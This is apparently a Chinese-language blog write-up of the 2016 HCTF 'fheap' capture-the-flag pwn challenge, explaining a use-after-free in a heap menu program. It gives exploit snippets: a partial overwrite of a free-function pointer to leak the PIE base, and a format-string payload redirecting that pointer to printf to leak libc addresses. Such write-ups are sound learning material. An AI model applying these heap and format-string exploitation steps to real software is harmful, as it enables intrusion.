题目:2016HCTF fheap 题目链接

分析二进制文件

mark

除RELRO保护外保护全开,试运行发现是标准的选单式题目且存在create/delete操作,因此可怀疑是堆利用

mark

分析发现程序中的delete操作进行后没有进行至NULL操作,存在UAF漏洞

mark

并且Delete操作是通过结构体内部函数进行的,那么我们可以猜测结构体结构是Data(0x18)+free_fun。也就是说我们可以利用UAF漏洞进行覆盖。

再次观察Creat_string函数,发现该函数做了长度限制:

mark

当申请的字符串长度大于0xF时,程序会再执行一次malloc,然后把新malloc的数据地址存放在第一次malloc的data区。

当数据(Buf)大于0xF时
+++++++++++++++++
|               |
|    Buf_addr   |------->+++++++++++++++++
|               |        |               |
+++++++++++++++++        |      Buf      |
|               |        |               |
|   Free_func   |        +++++++++++++++++
|               |
+++++++++++++++++

那么我们可以覆盖Free_func来leak addr。

Leak addr

我们可以利用UAF漏洞来leak addr。首先create两个相同的string(长度小于0xF)。

create(4,'a')# id:0
create(4,'b')# id:1

然后释放

delete(1)
delete(0)

然后我们create一个长度为0x20的string

create(0x20,data)

这里因为我们申请的长度大于了0xF,因此事实上程序进行了两次malloc(0x20),此时我们就可以操作id为1的chunk的内容,因为程序开启了PIE,因此我们这里可以使用低位覆盖的方式覆盖Free_func指针。

data='a'*0x18+'\x2d'

接下来我们需要接收leak出的addr

delete(1)
p.recvuntil('b'*0x8)
data=p.recvuntil('1.')[:-2]
print data
if len(data)>8:
    data=data[:8]
data=u64(data.ljust(8,'\x00'))-0xA000000000000 
#这里减掉的数是为了防止有\x0a结尾,若无\x0a,则不减掉此数
print hex(data)
proc_base=data-0xd2d
print "proc base",hex(proc_base)

Leak system addr

这里我们利用的是程序里的格式化字符串漏洞,此时我们已经泄露了PIE,那么我们可以劫持PIE到printf,经过调试,我们输入的yes恰好在printf的上方,那么我们可以利用

delete(0)
payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr)
creat(0x20,payload)

劫持PIE到printf并输入了a%9$s作为参数,之后我们利用DynELF(leak_addr, proc_base, elf=ELF('./fheap'))即可利用

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注